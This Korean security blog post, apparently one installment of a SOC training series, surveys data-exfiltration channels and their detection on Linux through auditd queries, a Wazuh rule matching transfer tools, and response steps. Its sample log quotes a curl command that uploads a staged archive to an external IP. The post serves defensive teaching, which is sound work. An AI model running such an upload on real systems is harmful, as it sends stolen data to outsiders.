229. 중요 정보 접근 — 데이터 유출(exfiltration) 징후 개요

changseop lee·2026년 10월 7일

Soc exfiltration 리눅스 보안관제 시스템 보안 · 취약점 시스템보안 유출개요 중요 정보 접근

시스템 보안 · 취약점

목록 보기

229/450

시스템 보안 · 취약점 › E. 중요 정보 접근 로그 분석 · 29/50편 (전체 229/450)
학습 단계: 데이터 유출(exfiltration) 징후
실습 표기: 이 글의 명령어·출력·로그는 로컬 VMware 테스트 VM(Rocky Linux 9 / Ubuntu 22.04) 기준의 「실습 예시」이며, IP·계정·호스트명은 가상의 값입니다.

선행 학습

1. 개념

4단계는 데이터 유출(exfiltration)을 다룹니다. 수집(E19~28)한 데이터를 외부로 내보내는 단계로, 피해가 확정되는 지점입니다. 유출 채널을 개관하고 탐지 전략을 정리합니다.

데이터 유출 채널 분류
 [직접 전송] curl/wget/scp/nc → 외부 서버 (E32)
 [웹 채널]   HTTP POST·클라우드 업로드 (E35)
 [은닉 채널] DNS 터널(E33)·ICMP(E34)
 [위장]      압축(E30)·인코딩(E31)으로 탐지 회피
 [분할]      크기 제한 우회(E36)·느린 유출

탐지: 아웃바운드 트래픽 + 프로세스 + 데이터량

유출은 네트워크(아웃바운드) 관점과 호스트(프로세스·파일) 관점을 결합해야 포착됩니다. 은닉 채널(DNS·ICMP)은 특히 교묘합니다.

2. 왜 중요한가

유출은 피해 확정 단계라, 탐지 실패 시 데이터가 실제로 외부로 나갑니다.
공격자는 압축·인코딩·은닉 채널로 탐지를 회피하므로 다층 탐지가 필요합니다.
호스트(프로세스·파일)와 네트워크(아웃바운드)를 결합해야 유출이 보입니다.

3. 핵심 명령어 / 설정

유출 채널	기법	편
직접 전송	curl/scp/nc	E32
웹·클라우드	HTTP·업로드	E35
DNS 터널	DNS 쿼리	E33
ICMP·비표준	ping·포트	E34
위장·분할	압축·인코딩·split	E30·31·36

4. 실습 (실습 예시)

# 데이터 유출 징후 개관 (분석 방법)
# 아웃바운드 연결 + 전송 프로세스
sudo ausearch -k exfil -i --start recent 2>/dev/null | grep -E 'comm="(curl|wget|scp|nc|ncat|socat)"' | tail
# 외부로의 대용량 연결(네트워크)
ss -tnp 2>/dev/null | grep -vE '127.0.0.1|::1|내부대역' | head

5. 정상 상태

$ (유출 프로세스) (없음 또는 정상 업데이트/API만)
$ (외부 연결) 정상 서비스 연결만(업데이트·모니터링)

아웃바운드 전송이 정상 서비스(업데이트·API)에 그치고, 비정상 유출 프로세스·연결이 없는 상태가 정상입니다.

6. 이상 상태

$ (유출 프로세스)
04:05 comm="curl" proctitle="curl -T /tmp/data.tgz http://192.0.2.88/u"
$ (외부 연결)
www-data → 192.0.2.88:80 (대용량 업로드)

curl로 staging한 data.tgz를 외부 서버로 업로드 → 직접 유출
웹 계정의 외부 대용량 연결 → 데이터 전송
수집(E25) 직후 외부 전송 → 유출 실행 → 정탐(피해 확정)

7. 로그 분석 (분석 방법)

데이터 유출 채널 지도입니다(가상의 예시).

[수집·staging] /tmp/data.tgz
      ↓ (유출 채널 선택)
   ├ 직접: curl/scp → 외부 (E32)
   ├ 웹:   HTTP POST·클라우드 (E35)
   ├ DNS:  데이터를 DNS 쿼리에 담아 (E33)
   ├ ICMP: ping 페이로드 (E34)
   └ 위장: 압축·인코딩·분할 (E30·31·36)
      ↓
[외부 도달] 데이터 유출 완료(피해)

채널	탐지 난이도
직접(curl/scp)	낮음
웹·클라우드	중간
DNS·ICMP 터널	높음(은닉)

은닉 채널일수록 탐지가 어려우므로 다층 탐지가 필요합니다.

8. SOC 관제 포인트

데이터 유출은 수집한 데이터를 외부로 내보내는 피해 확정 단계입니다.
직접 전송·웹·DNS/ICMP 터널·위장·분할 등 다양한 채널이 있습니다.
호스트(프로세스·파일)와 네트워크(아웃바운드)를 결합한 다층 탐지가 필요합니다.

9. 탐지 규칙

<!-- 실습 예시 룰: 적용 전 wazuh-logtest 및 테스트 환경 검증 필요 -->
<group name="local,syssec_e,exfiltration,">
  <!-- E영역 유출 기반 룰: 전송 도구 실행 포착 -->
  <rule id="104280" level="10">
    <if_sid>104000</if_sid>
    <field name="audit.comm" type="pcre2">^(curl|wget|scp|sftp|nc|ncat|socat|rsync)$</field>
    <description>데이터 전송 도구 실행(유출 채널 기반)</description>
    <mitre><id>T1041</id><id>T1048</id></mitre>
  </rule>
</group>

정상 아웃바운드(업데이트·API)는 목적지·맥락으로 예외 처리합니다. 수집(E25)→유출 세션 연계가 핵심입니다.

10. 대응 방법

초기 확인 — 유출 채널(직접·웹·DNS·ICMP)·전송 프로세스·목적지를 확인합니다.
범위 확인 — 수집·staging(E25)과의 연계, 위장·분할·은닉 여부를 확인합니다.
증거 확보 — 유출 프로세스·네트워크 연결·전송 데이터를 보존합니다.
차단/조치 — 유출 정탐이면 즉시 전송 차단·세션 종료·유출 범위·목적지 조사를 진행합니다.
재발 방지 — 호스트+네트워크 결합 유출 탐지 체계를 운영합니다.

11. 핵심 정리

유출 채널	기법
직접 전송	curl/scp/nc
웹·클라우드	HTTP·업로드
DNS/ICMP 터널	은닉 채널
위장·분할	압축·인코딩·split
면접 포인트	"유출은 피해 확정 단계 — 호스트+네트워크 결합, 은닉 채널 다층 탐지"